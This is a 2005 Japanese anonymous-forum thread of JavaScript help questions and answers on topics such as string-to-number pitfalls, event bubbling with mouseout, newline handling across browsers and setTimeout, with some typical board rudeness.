87 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:10:45 ID:KItBczz9
いきなりすにませんが質問です。
vwxyz=10;
a=6;
b=new Array();
b[0]="xyz";
d="vw"+b[0];
e=a*2-d;
alert(e);
という感じのスクリプトを動作させると、結果がNaNになるんですが、どうしてでしょうか?
最終的には、6*2-10の答え「2」を表示したいわけなのですが。
自分が思うに、dにvwxyzの10が代入されてるのではなく、vwxyzの文字列が代入されてる・・・のかな?
もしそうなら、dに10が代入される方法を教えてください。
(配列を使う意味はないと思いますが、配列でスクリプトを作ってるので中身が1個しかないものの配列で書いてみました。)

88 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:21:51 ID:???
>>87

> 自分が思うに、dにvwxyzの10が代入されてるのではなく、vwxyzの文字列が代入されてる・・・のかな?
その通りです。

> もしそうなら、dに10が代入される方法を教えてください。
d=10

89 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:22:27 ID:d9TaSuR0
質問。
window.open('pic1.jpg', 'mySon','width=600,height=400');
はもちろん動作するのですが、イベントハンドラで複数回
実行すると、その回数分だけ画像の子画面をポップアップ
させてしまいます。
1回しかポップアップを許さないようにはできませんか?

90 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:24:16 ID:KItBczz9
>>88
いや、d=10と言う意味じゃなく・・・
そこまでの変数を使ってのことです。
できないのですか?

91 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:24:16 ID:???
>>89
フラグを作って監視するのが正統派

92 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:26:35 ID:???
>>90
> できないのですか?
出来ます。

93 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:27:34 ID:???
>>87 >>90
氏ね

>>88 >>92
気持ちはわかるが、そこは「テンプレ嫁」と言った方がマシ

94 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:27:59 ID:KItBczz9
>>92
その方法を教えて下さい。
(もちろんd=10以外)

95 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:29:12 ID:???
>>94
テンプレ嫁

96 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:29:21 ID:???
>>90 FAQ >>3 のQ6/A6と同様。FAQくらい良く読め!!!

97 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:50:17 ID:L17IA3KY
チェックボックスの中の背景色を変える方法はありませんか。
ググったらあったのですが、ボックスの周辺のことを背景色と
いっていて、詐欺にあったような感じです。中そのものを変え
たいんです。まじめにお願いします。

98 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:52:14 ID:???
>>97
まるで>>87-95がまじめでないような口ぶりだな

99 名前:Name_Not_Found 投稿日:2005/10/13(木) 16:57:47 ID:???
当スレ>>87 = 前スレ>>934
前にもうちゃんと教えてるだろ。自分で考えろ!
ウザス。以後スルーで。


100 名前:97 投稿日:2005/10/13(木) 17:04:36 ID:H+T3eUHf
>>98
あ、そんな意味じゃありません。検索サイト先がひどかったので。
でも、言われてみれば、>>87-95は掛け合いどつき漫才みたいですね。

101 名前:Name_Not_Found 投稿日:2005/10/13(木) 17:17:42 ID:???
>>97
部品の「中の」色は変えられないと思うよ。やりたければ
チェックON/チェックOFFの2枚の画像を用意してJSで切替える
ようにすれば。それなら画像だからどんな色にでもできる。

102 名前:Name_Not_Found 投稿日:2005/10/13(木) 17:17:54 ID:???
>>100
マジレスすれば、CSSスレに行くべきかと

103 名前:Name_Not_Found 投稿日:2005/10/13(木) 19:14:48 ID:???
>>83
CSS、別サブドメインでした。
解決しました。ありがとうございます。

104 名前:Name_Not_Found 投稿日:2005/10/13(木) 19:36:31 ID:xqkgauXU
西暦を和暦で表わすいちばん簡単なスクリプトを教えてください。

105 名前:Name_Not_Found 投稿日:2005/10/13(木) 19:48:15 ID:???
>>104
var s;
if(西暦 >= 平成1年の西暦) {
s = '平成' + (西暦-平成1年の西暦+1) + '年';
} else if(西暦 >= 昭和1年の西暦) {
s = '昭和' + (西暦-昭和1年の西暦+1) + '年';
以下同様。

106 名前:Name_Not_Found 投稿日:2005/10/13(木) 19:53:26 ID:???
わかりません。
setTimeoutでたとえば、setTimeout("ShowTime()",1000)の戻り値って、
一体なにやってるんすか。あとどんなとき役に立つんすか。

107 名前:104 投稿日:2005/10/13(木) 20:00:55 ID:???
>>105さん
即レスありがとうございます。それにしても、どうしてすぐ
スパッと書けちゃうんですか。すげぇー。ひょっとして神?

108 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:04:10 ID:???
>>106
われわれもあなたの1行目の意味がわかりません

109 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:17:02 ID:???
>>106
setTimeout() の戻り値はタイマーID
タイマーID はタイマーを破棄したい時 clearTimeout() に使う

110 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:23:01 ID:???
getElementByIdやのgetElementsByTagNameやのって、いくらなんでも長すぎとちがう。
Elementsなんて複数になってるやんか。ややこしい。なに考えてんやろ。
IEのallとtagsの方に合わせれば一発やったん。あほらし。

111 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:33:46 ID:XFGPvjrR
>>110
確かにそうですね。僕もずっとそう思ってました。
言われてみていま思ったんですが、getElementByIdとかって別の
文字で置き換えることってできないのでしょうか。window変数とか。

112 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:45:59 ID:r4CJUdGX
質問です。
ボタンAを押すと文字Aがテキストボックスに出て、
ボタンBを押すと文字Aが残ったまま文字Bが出てくるようにしたいのですが
どうもうまくいきません。

今は、ボタンAを押した後にボタンBを押すと文字Aが消えてしまいます。
解決方法もしくは参考になるページがあれば教えてください。

113 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:51:32 ID:???
>>110-111
getElementById や getElementsByTagName なんかは、メソッドでしょ。
で、組み込みのメソッドやらを書き足したりするのはIEが駄目なんよ。
なので事実上、別名に書き換える(別名の同昨日のメソッドを作る)ことはできません。

どうしても面倒だったら、自分でオブジェクトを生成して、
そのオブジェクトのメソッドとして作ればいいんだろうけど、
面倒臭さは行って来いだと思います。

114 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:51:37 ID:???
>>110
自分に応用力がないのを棚に上げて…

byId = function(id){return document.getElementById(id)};

115 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:54:30 ID:???
>>112
質問が詳しくないので、ESP発動。
var tb = テキストボックス;
として、たぶん今は
tb.value = b;

となっているだろうから、

tb.value += b;

とすればok。

116 名前:Name_Not_Found 投稿日:2005/10/13(木) 20:55:17 ID:???
>>114
ロープを探しにいきます…

117 名前:Name_Not_Found 投稿日:2005/10/13(木) 21:03:30 ID:???
>>116
114 は置き換えるものじゃないけどね

118 名前:Name_Not_Found 投稿日:2005/10/13(木) 21:32:41 ID:???
byId = document.getElementById;
では駄目なの?

119 名前:Name_Not_Found 投稿日:2005/10/13(木) 21:38:15 ID:???
>>116
意味わかんねー。解説キボーン。

120 名前:Name_Not_Found 投稿日:2005/10/13(木) 21:40:30 ID:???
>>118
WinIE ではうまく動くみたいね

121 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:02:44 ID:???
>>110-111の自演に釣られてどうするよw

122 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:05:43 ID:???
またなんかくだらん井戸端チャットで、リソースのムダ遣いがはじまったな。
ま、いいんだけどさ。

123 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:09:09 ID:???
1回死んできますということなのでは?

それよりも昨今、特に目立つが

お 前 ら >>3 ぐ ら い そ ろ そ ろ よ ん だ ら ど う で す か ?

何回言わせれば済むのかね。
それらしい質問には、
みなさん「>>3嫁氏根以上」で放置がよくない?



124 名前:112 投稿日:2005/10/13(木) 22:31:00 ID:r4CJUdGX
分かりづらくてごめんなさい。

今はフレームで分けてて、このソースのフレームから
別フレームのテキストボックスへ文字を受け渡してます。


<html>
<head>
<script language="javascript">
<!--
function Show(strMessage)
{
parent.frm.document.fm.smp.value = strMessage;
}
-->
</script>
</head>
<body>

<input type="button" value="ボタン" onclick="javascript:Show('HELLO!')"> 

</body>
</html>

125 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:34:35 ID:SZXBnKzR
document.lastModifiedを使用すると
使用したHTMLのファイル更新日が分かりますが。

ファイル指定でファイル更新日を取得することってできますか?

例えば、<IMG SRC="test.jpeg">とかで表示させる”test.jpeg”のファイル更新日

126 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:35:05 ID:???
>>124
だから〜! >>115 を読んでないのかよ。「=」を「+=」にするだけだよ。

127 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:37:13 ID:???
>>125
lastModifiedでもサーバが日付をちゃんと返さなければ分からない。
やったことないけどそのtest.jpegを適当な隠しフレームとかに読んで
そのフレームのdocument.lastModifiedを見てみるくらいしか思いつかん。
iframeのdocumentを参照してるサンプルは >>83 にあるね。

128 名前:Name_Not_Found 投稿日:2005/10/13(木) 22:55:00 ID:???
>>127
なるほど!
有難う御座います。試してみます。

129 名前:Name_Not_Found 投稿日:2005/10/13(木) 23:20:52 ID:???
xmlhttprequest の head の lastmodified を見ればいいのに

130 名前:Name_Not_Found 投稿日:2005/10/13(木) 23:27:40 ID:???
>>129
なるほど!それは正しそうだ、勉強なるなあ。でも隠し
iframeの方が手間は少なそうだね。

131 名前:Name_Not_Found 投稿日:2005/10/13(木) 23:58:29 ID:j4DKu4PO
質問です。
document.images['imgNoA'].src=movimg['imgNoB'].src
というのがありますが、この式と
document.images['imgNoA'].src=movimg['imgNoB']
とはどう違うのですか。

132 名前:Name_Not_Found 投稿日:2005/10/14(金) 00:12:27 ID:???
>>131
src属性があるので、movimg['imgNoB']がImageオブジェクトだと仮定すれば、
オブジェクトのsrcプロパティの値(画像ファイルのuri)を代入するか、
オブジェクトそのものを代入するか、の違い。

Imageオブジェクトを直接参照したときに、srcプロパティの値を返してくれるなら、
その両式は等価と言えるんじゃね?

133 名前:Name_Not_Found 投稿日:2005/10/14(金) 00:40:51 ID:???
>>130
iframe だとページとか画像全部読まなきゃいけないでしょ? 結構無駄な気がする。 head だとヘッダしか読まないんで軽いし。

134 名前:Name_Not_Found 投稿日:2005/10/14(金) 01:44:21 ID:???
こんばんは、cssスレから誘導されてきました。
フレームページで、別フレームのcssを切り替えたいのですがどうすればよいでしょうか。
ページ内での切り替えは
ttp://www.din.or.jp/~hagi3/JavaScript/JSTips/Std/csschg.htm
を参考にしました。

135 名前:Name_Not_Found 投稿日:2005/10/14(金) 03:48:39 ID:???
>>129
大文字小文字ハイフン

136 名前:Name_Not_Found 投稿日:2005/10/14(金) 03:55:52 ID:???
>>124
> -->
> </script>
これだと、現在でも、終了タグ前の改行が 2 つ以上になると
黙って見過ごしてくれないブラウザがある。
もっと注意して、より正しく書いた方が良い。
//-->
</script>

137 名前:Name_Not_Found 投稿日:2005/10/14(金) 04:04:40 ID:???
>>134
// http://www.din.or.jp/~hagi3/JavaScript/JSTips/Intro.htm
// > このページに関する、ご指摘・ご質問等はこちら までメール下さい。
// > 訂正又はわかる範囲で回答いたします。
// とのことだが、ここで質問する前に、作者に質問したのかね。
// まだなら、作者と直接やりとりしてみなさいよ。

変更をなるべく少なくすると、次のようになる。

削除
function replace_css(id,url){
  if(!document.getElementById) return false;
その位置に挿入
function replace_css(id, url, document) {
  if ( ! (document || (document = window.document)).getElementById) return false;

Document の参照方法が分からなければ、>>124
frames.frm.document みたいなのがヒントになる。

138 名前:Name_Not_Found 投稿日:2005/10/14(金) 09:00:48 ID:/GpOJzme
すいません。エラーメッセージで
「正規表現の中に ')' を指定してください」
って、どういうことですか?

139 名前:Name_Not_Found 投稿日:2005/10/14(金) 09:54:04 ID:???
>>138
括弧の組が正しくない。"(" に対応する ")" がないということ。
よくあるミスとして RegExp コンストラクタの引数に文字列リテラルを
指定した場合、メタ文字は文字列リテラルとして、さらに正規表現として、
二回展開されるので注意しろ。
例えば new RegExp("\(") は new RegExp("(") と書いたのと同じで、
new RegExp("\\(") と /\(/ が同じ意味になる。

140 名前:Name_Not_Found 投稿日:2005/10/14(金) 10:07:59 ID:???
>>138-139
そもそもリテラル /\(/ が書けるのにわざわざ new RegExp('\\(')
とか長くて間違いやすい書き方を使うってのがよく判らんけどね。

141 名前:Name_Not_Found 投稿日:2005/10/14(金) 10:44:10 ID:???
>>140
下位互換性のために使わざるを得ない場合もある。
new Array() とか new Object() とか new Function() とかも同じ。
コードとして書くと最初から構文エラーになるけど、動的評価なら
その部分を実行しない限りエラーにならない。

142 名前:134 投稿日:2005/10/14(金) 11:09:55 ID:???
>>137
検索してもひっかからない内容だったので、
質問でなくリクエストになってしまうのでは…と思いためらってました。
でも一応かけあってみようと思います。

ご意見・アドバイスありがとうございました!
参考にしながら頑張ってみます。

143 名前:Name_Not_Found 投稿日:2005/10/14(金) 11:46:08 ID:???
>>141
そういう風にわけ判ってやってるのならいいんだけどね。
わけ判っている人の(あるいは判ってない人の)サンプル
からむやみに写してそのままというのはちっともいいことない。
だいたいそれらが使えないのってIE4とかN3とか以前じゃない?

144 名前:Name_Not_Found 投稿日:2005/10/14(金) 11:59:51 ID:???
各ブラウザ(Gecko,IE,Opera辺り)のDOM操作の差異を吸収するクラスライブラリあったら教えて。

145 名前:Name_Not_Found 投稿日:2005/10/14(金) 12:03:39 ID:???
しょーもねーな、IE4。除籍処分だ。

146 名前:Name_Not_Found 投稿日:2005/10/14(金) 12:15:06 ID:???
>>114
その3つだったら、標準通りに書くのが一番な希ガス。
部分的に手当が必要なところはあるけどね。

147 名前:Name_Not_Found 投稿日:2005/10/14(金) 12:33:37 ID:wJGbMorX
こんにちは。setTimeoutやsetIntervalで質問があります。
タイマーで設定する時間間隔は、1000分の1秒単位で指定できますが、
実際のコンピュータが処理できる時間間隔には、限界があると思います。
10ミリ秒単位の数値を指定して意味があるのでしょうか。クライアント
サイドに立って作るとき、速度の遅いパソコンのことも考慮すると、最
速でどれくらいが限界なのでしょうか。

148 名前:Name_Not_Found 投稿日:2005/10/14(金) 12:57:53 ID:???
>>147
まあ、のろいマシンも考えて漏れは20ミリ秒か50ミリ秒の
遅延を使うことが多いけどね。それで普通問題ないよ。

149 名前:Name_Not_Found 投稿日:2005/10/14(金) 13:04:37 ID:???
setAttributeについて質問です。

setAttributeを使って属性を追加すると、指定したノード以下のすべてのノードについても同じ属性が設定されているようですが
任意のノードだけに設定する方法はありますでしょうか?ありましたら教えてもらえませんか?

具体的に言うと、

var div = document.createElement('div');
var p = document.createElement('p');

p.appendChild(document.createTextNode("ほにゃらら"));

div.setAttribute('onmouseout','myMouseOut(event);');

とし、このpにあたる部分にマウスカーソルを乗せた後にどけると、
マウスカーソルがdiv上にあるにもかかわらず、myMouseOutが実行されてしまいます。

お願いします。

150 名前:Name_Not_Found 投稿日:2005/10/14(金) 13:13:13 ID:???
>>149
setAttributeの問題じゃあないと思うな。そもそもアンタの
書き込みからだけだとpとdivの関係が判らないんだけど。
最小限の動くサンプルを作ってくれたら見てみてもいいよ。

151 名前:Name_Not_Found 投稿日:2005/10/14(金) 13:29:56 ID:QLcT3DBa
テキストエリアに入力された改行コード( Windows 限定なので CRLF )を ***** に変換するスクリプトを書いています。
IE6.0 では期待通りに動作しましたが、Firefox1.0.7 では何も変換されずにそのまま出力されてしまいます。
どうすれば Firefox でも期待通りの動作をするようになりますか?


<html>
<head><title>conv</title>
<script language="JavaScript" type="text/javascript">
function Convert() {

var strSource = document.getElementById("textSource").value;
var strDestination = strSource.replace(/\r\n/g, '*****');
document.getElementById("textDestination").value = strDestination;

}
</script>
</head>
<body>
<textarea id="textSource" rows=10 cols=100></textarea><br>
<input type=button value="convert" onclick="Convert();"><br>
<textarea id="textDestination" rows=20 cols=100></textarea>
</body>
</html>

152 名前:Name_Not_Found 投稿日:2005/10/14(金) 13:31:26 ID:???
あ、すみません。

pはdivの中にあります。

この2つを書くのを忘れてました。
div.appendChild(p);
document.body.appendChild(div);


今から、最小限のサンプルを作りますので、お願いします。

153 名前:152=149 投稿日:2005/10/14(金) 13:32:25 ID:???
名前を書くのを忘れました・・・orz
>>149=>>152です。

154 名前:Name_Not_Found 投稿日:2005/10/14(金) 13:45:11 ID:???
>>151
FF上では改行コードがLFだからだろう\n

155 名前:152=149 投稿日:2005/10/14(金) 13:48:48 ID:???
最小限のサンプルです。

<html><head><title>最小限サンプル</title>
<script language="javascript">
function myFunc() {
var div = document.createElement('div');
var p1 = document.createElement('p');
var p2 = document.createElement('p');

p1.appendChild(document.createTextNode("こんにちは"));
p2.appendChild(document.createTextNode("さようなら"));

div.setAttribute('onmouseout','myMouseOut(event);');
div.appendChild(p1);
div.appendChild(p2);
document.body.appendChild(div);
}
function myMouseOut() {
alert('アウト');
}
</script></head>
<body>
<a href="javascript:void(0);" onmouseover="myFunc()">マウスポインタを乗せてください</a>
</body></html>

このhtmlをWindowsのFireFoxで読み込むと、「マウスポインタを乗せてください」と出ます。
そこにマウスポインタを乗せると、「こんにちは」と「さようなら」の2つの文が出ます。
マウスポインタを「こんにちは」→「さようなら」と移動させると、「さようなら」に乗ったときに「アウト」ダイアログが出現します。
これは、<p>こんにちは</p>からマウスポインタが離れたことを意味していると思います。
ここで「アウト」が出ると困ります。この2つのあいさつ文を囲んでいるdivの外に離れたときにだけ「アウト」が出ることを望んでいます。

このhtmlはIE6だと動きません。これについても解決したいのですが・・・。

156 名前:151 投稿日:2005/10/14(金) 13:57:57 ID:???
>>154
うわああああああ、できました。
こんなことだったとは・・・orz
ありがとうございました!

157 名前:Name_Not_Found 投稿日:2005/10/14(金) 15:41:33 ID:???
>>155
そもそもその「アウト」はポインタがdivから中のpに入った時に
出てるように見えるけど。p1.style.border = 'red 2px solid';
とか追加して試してみ。つまりp1にonmouseoutがついてるわけじゃ
ないだろ。

158 名前:152=149 投稿日:2005/10/14(金) 16:03:49 ID:???
>>157
はい、divからpに入ったときにも発動しています。
すべての発動条件は以下です。
・div→外
・p→div
・div→p

div→pの場合、pはdivから考えて"外"として認識されているということがわかりました。
しかし、p→divが発動条件である以上、pの外に出たときにonmouseoutが発動しているのではないかと思います・・・。

以下を<head></head>に追加して実験して見ました。
<style>
p {
border:red 2px solid;
}
div {
border:blue 2px solid;
}
</style>

div内のどのタグにも影響せず、divの外と中だけでonmouseoutイベントが発動させたいのですが、どうすればいいでしょうか。

159 名前:Name_Not_Found 投稿日:2005/10/14(金) 16:07:56 ID:???
JSの問題とは思へん。
以上。

160 名前:Name_Not_Found 投稿日:2005/10/14(金) 16:10:37 ID:???
>>158
pを入れるdivとは別に上にpostion:absoluteのdivを重ねて
それにハンドラつけるとかはどうかな。

161 名前:Name_Not_Found 投稿日:2005/10/14(金) 17:32:14 ID:???
イベントハンドラ追加はDOM event使えボケ。

162 名前:Name_Not_Found 投稿日:2005/10/14(金) 17:46:45 ID:???
スババババーン!
<html><head><title>最小限サンプル</title>
<script language="javascript">
function myFunc() {
var div = document.createElement('div');
var p1 = document.createElement('p');
var p2 = document.createElement('p');

p1.appendChild(document.createTextNode("何でもかんでも"));
p2.appendChild(document.createTextNode("setAttributeしたがる奴はこれを踏め"));

//div.setAttribute('onmouseout','myMouseOut();');
div.appendChild(p1);
div.appendChild(p2);
document.body.appendChild(div);
if(div.addEventListener) { // Gecko
div.addEventListener('mouseover', function(e){myMouseOut();}, false);
} else if(div.attachEvent) { // IE
div.attachEvent('onmouseover', function(e){myMouseOut();});
}}
function myMouseOut() {alert('氏ね!');}
</script></head><body>
<a href="javascript:void(0);" onmouseover="myFunc()">マウスポインタを乗せてください</a>
</body></html>

163 名前:Name_Not_Found 投稿日:2005/10/14(金) 17:53:15 ID:EEhE15uo
質問です。5桁の数字にカンマをつけるように、つぎのコードを
書いたのですが、うまく行きません。どこがいけないのか教えて
ください。

function Funk(){
num=12345 ;
if(num==5)num=String(num).substring(0,2)+','+String(num).substring(2,5);
document.getElementById('res').innerHTML = num;
}

164 名前:Name_Not_Found 投稿日:2005/10/14(金) 17:58:59 ID:???
>>163
5桁に決まってるんだったら
String(num).substring(0,2) + ',' + String(num).substring(2);

165 名前:Name_Not_Found 投稿日:2005/10/14(金) 18:00:33 ID:???
>>162
動作、元質問者のと変わってないじゃん。まず問題を解決してから
書けよ、addEventListenerに直しただけじゃちっとも偉くない。

166 名前:163 投稿日:2005/10/14(金) 18:00:44 ID:Nmh2J4o9
すいません。転記まちがえました。
× if(num==5)num=String(num).substring(0,2)+','+String(num).substring(2,5);
○ if(num.length==5)num=String(num).substring(0,2)+','+String(num).substring(2,5);

167 名前:163 投稿日:2005/10/14(金) 18:05:35 ID:???
>>164
わっ、訂正より早いご回答ありがとうございます。
実は、4桁の場合もあってif(num.length==4)num= ........
としています。numと変数にしてinnerHTMLに代入は間違ったやり方ですか?

168 名前:Name_Not_Found 投稿日:2005/10/14(金) 18:09:48 ID:???
あれ、アラートが表示されないのが表示されましたが(IE6)
他何が問題なのよ?


169 名前:Name_Not_Found 投稿日:2005/10/14(金) 18:20:49 ID:???
こういうことか?

1.2.3. イベントバブリング
バブリングと特定されるイベントは、最初に、バブリングしないイベントと同じイベントフロー
を処理する。 イベントはその目標 EventTarget に送信され、そこに見つかる任意のイベ
ントリスナーが発動される。その後、バブリングイベントは、EventTarget の親連鎖を上方
へたどり、各 EventTarget の上に登録されるあらゆるイベントリスナーをチェックして見つ
かる、あらゆる追加イベントリスナーを発動する。この上向きの伝播は Document まで
続く。 キャプチャする物として登録された EventListener は、このフェイズでは発動しない。
イベントターゲットからツリーのトップへの EventTarget の連鎖は、イベントの初期送信前に
決定される。イベント処理中にツリー修正が発生する場合も、イベントフローはツリーの
初期状態に基づいて進行する。イベントハンドラは、Event インターフェイスの
stopPropagation メソッドによって、その先へのイベント伝播を防いでよい。EventListener
がこのメソッドを呼ぶ場合、 現在のEventTarget の上の追加 EventListener はすべて
発動される。 しかし、バブリングはそのレベルで中止される。stopPropagation への
1 呼び出しだけが、さらなるバブリングを防ぐために要求される。

mouseover  Bubbles: Yes

でもこれで羽振りんぐ止めても今のところDIVとPの範囲が同じじゃないの?

170 名前:Name_Not_Found 投稿日:2005/10/14(金) 18:28:16 ID:JJPG1u2a
旦那がたにちとお尋ねいたしやす。
255を15で割ってMath.floorすると、色が変わって行くのはどんな
理屈でござんすか。

171 名前:152=149 投稿日:2005/10/14(金) 19:13:10 ID:???
>>162
IE対応にサンクスです。
最小限サンプルでは正常ですが、本番用で思った動作とちと違ってましたが改造させてもらいます。

javascriptで生成せず、
<div onmouseout="myMouseOut();"><p>こんにちは</p><p>さようなら</p></div>
を追加して実験して見たところ、まったく同じ動作が再現されました。
>>159さんの言うとおり、javascriptの問題ではありませんでした・・・。すみません。
>>169にあるイベントバブリングなど、これからこのあたりの動作仕様を調べていきたいと思います。

172 名前:Name_Not_Found 投稿日:2005/10/14(金) 19:21:49 ID:???
stopPropagationの使い方がイマイチ分からんかったので
お茶を濁しといたぞ。ズババババーン

document.body.appendChild(div);
if(div.addEventListener) { // Gecko
div.addEventListener('mouseover', function(e){(e.srcElement.nodeName=='DIV')?myMouseOut():1;}, false);
} else if(div.attachEvent) { // IE
div.attachEvent('onmouseover', function(e){(e.srcElement.nodeName=='DIV')?myMouseOut():1;});
}


173 名前:Name_Not_Found 投稿日:2005/10/14(金) 19:50:40 ID:???
IEに、Object.watch() って無い?

174 名前:Name_Not_Found 投稿日:2005/10/14(金) 19:52:16 ID:???
伝播を止めない方が好ましいと、最近一年以内にここで一度は言った憶えがある。
何でリスナ追加か。理由の一つは、見知らぬ他のスクリプトと争奪戦をしない為。
同様に、止むを得ない理由や尤もな理由が無い限りは、見知らぬリスナが
待ち受けている可能性を考慮して、伝播を止めてしまうのは避けたいものだ。

175 名前:Name_Not_Found 投稿日:2005/10/14(金) 20:14:53 ID:???
>>171
前スレに、参考となるリンクは書いた。//誰も読まないことがまた判明した。

ふつう、mouseover だけで事足りる。別の言い方をすれば、
mouseover と mouseout が互いにショートカット以上である場合は少ない。
(例えば、Moz 系で <object>要素オブジェクトへの mouse(over|out) は数少ない例外である。)
だから、DOM-Level-2-Events には、relatedTarget と target しかない。
IE は、fromElement と toElement が入れ替わるが、入れ替わることに意味は無い。
Opera は、IE を真似ているが、fromElement だけを実装している。
Opera は、IE を真似て、srcElement を実装している。
Opera は、IE を真似て、contains() と attachEvent() を実装している。
イベント追加を書く時に、Opera と IE でコードが併用しやすい。
Opera と IE でコードを併用する時、fromElement で統一して書くとすれば、
イベントタイプは mouseover にした方が分岐が少し減る。
まあ、mouseout でも構わないし、直感的で書きやすい気持ちは分かるが。

176 名前:Name_Not_Found 投稿日:2005/10/14(金) 20:21:56 ID:???
>>171
// DOM-Level-3-Core, DOM-Level-2-Events
function fromDescendantOrSelfToAncestor(e) {// e.type == 'mouseout'
  var r = e.relatedTarget;
  var d = e.currentTarget;
  return ! r ||
         r != d
         && 0 == (Node.DOCUMENT_POSITION_CONTAINS
                  & r.compareDocumentPosition(d));
}
// 同じ操作が contains() を使って JScript でも書けるから自作してくれ。
// contains() は、自分 (Event#currentTarget) も含むことに注意。

177 名前:170 投稿日:2005/10/14(金) 23:39:48 ID:6AO869EN
旦那、あっしはシカトですかい。

178 名前:Name_Not_Found 投稿日:2005/10/15(土) 00:19:07 ID:???
Math.floor( 255 / 15 ) → 色が変わる → (゜д゜)ハァ?

179 名前:Name_Not_Found 投稿日:2005/10/15(土) 05:24:35 ID:???
こいつはこういうことを言ってもらいたいと妄想してみる。
RGB値はHTMLでは各色00〜FF(16進)で指定する。
でもそうすると0〜Fまでは16なんだけどな・・・・わからん。

180 名前:Name_Not_Found 投稿日:2005/10/15(土) 08:43:50 ID:???
>>178 わかってるくせに
>>170 面倒くさがらずにちゃんと書け

181 名前:Name_Not_Found 投稿日:2005/10/15(土) 08:50:45 ID:???
>>177
普通、数を計算しても色は変化しない。
Math.floor(255/15)はいつも同じ値だから時間とともに
変化するわけがない。で、何が問題なの?

>>1 質問を分かる日本語で説明できる者

182 名前:28 投稿日:2005/10/15(土) 08:58:40 ID:???
>>77
わかりました。移動します。
みなさんお世話になりましたm(_ _)m

183 名前:Name_Not_Found 投稿日:2005/10/15(土) 12:00:30 ID:???
What Can JavaScript Do?

JavaScript gives HTML designers a programming tool. Among the
things JavaScript can do for your web pages is:
1.add dynamic text
2.react to events, such as movements of the mouse or keyboard
presses
3.read and write HTML elements
4.validate form data input by the user
5.create rollovers, scrolling, and timers

184 名前:Name_Not_Found 投稿日:2005/10/15(土) 12:09:26 ID:???
>>181の日本語の読解力が問題

185 名前:JavaScript 投稿日:2005/10/15(土) 12:20:50 ID:???
JavaScriptですが何か?

186 名前:Name_Not_Found 投稿日:2005/10/15(土) 12:58:18 ID:???
>>184
いや別にいいよ、分からない質問には答えようがないという
だけだからさ。しかし >>170 の日本語がヘンだと思わないのは
そうとう変わってると主観的には思うね。

187 名前:Name_Not_Found 投稿日:2005/10/15(土) 13:08:03 ID:???
「りんごを切って皿にのせると、テレビのチャンネルが変わっていく」、ってくらいに。

188 名前:Name_Not_Found 投稿日:2005/10/15(土) 13:33:32 ID:???
いや。バーボンを水で割ると、だろ。

189 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:03:11 ID:???
"10px"という文字列から10という数値だけを取り出す関数・またはそのような方法があったら教えてもらえませんか?

190 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:08:05 ID:lRcEH6Wl
IE専用ですが、画像をフェードインさせることができますよね。たとえば、
pic.filters['alpha'].opacity = xxx;
のようなものです。これを<div>の文字列でするってことはできないんでしょうか。

191 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:10:21 ID:???
>>189
「parseInt(文字列)」が一番速くて簡単そうだ。

192 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:12:43 ID:???
>>189
前にもこんなのあったね。いつも情報不足。
「10px」の数値部分はいつも2桁なの?それが不定なら正規表現勉強するとか。

193 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:22:00 ID:+Ixf/6Iy
ウインドウを揺さぶるスクリプトでシェイク回数を無限にしたら、
強制終了以外に止める手立てはありませんか?

194 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:27:17 ID:???
太くした<HR>の上に文字列載せるって、ムリ?それをJSで動的に処理したい。
もちろん、position:absoluete;じゃなくての話ね。

195 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:35:01 ID:???
>>193
setTimeoutかsetIntervalを使っていれば、別のページに移動すれば
それで止まると思うけどね。ループで時間待ちとかやってないよな?
それやったらブラクラだから。

196 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:36:41 ID:???
>>193 onkeydownで特定のキーが押されたら中断とかじゃだめ?


197 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:36:47 ID:???
>>194
そもそもHRと文字を重ねるとかだったらCSSでそれができなければ
JSだってできないよ。position:abslute以外にposition:relative
でもできるけどね。

198 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:42:11 ID:???
>>194 なぜabsolute使っちゃいけないの?

199 名前:Name_Not_Found 投稿日:2005/10/15(土) 15:52:36 ID:iqdoVhEw
IEで文字範囲選択するときおかしいから

200 名前:Name_Not_Found 投稿日:2005/10/15(土) 16:23:36 ID:???
<hr>
<p style="margin-top:-2em;">ほげ</p>
とかでも重なりそうだが。

201 名前:Name_Not_Found 投稿日:2005/10/15(土) 16:46:41 ID:???
>>200
さんくす。<hr size=25>でOK。あんた天オやがな。
(JSの直接質問でなくてすまん)

202 名前:Name_Not_Found 投稿日:2005/10/15(土) 20:23:00 ID:???
>>189
置換でpxを空に置き換える

203 名前:Name_Not_Found 投稿日:2005/10/15(土) 21:00:51 ID:???
頭柔らかい人ウラヤマシス

204 名前:Name_Not_Found 投稿日:2005/10/15(土) 21:43:34 ID:???
>>202ついでに数値化しとけ。

205 名前:Name_Not_Found 投稿日:2005/10/15(土) 21:55:32 ID:???
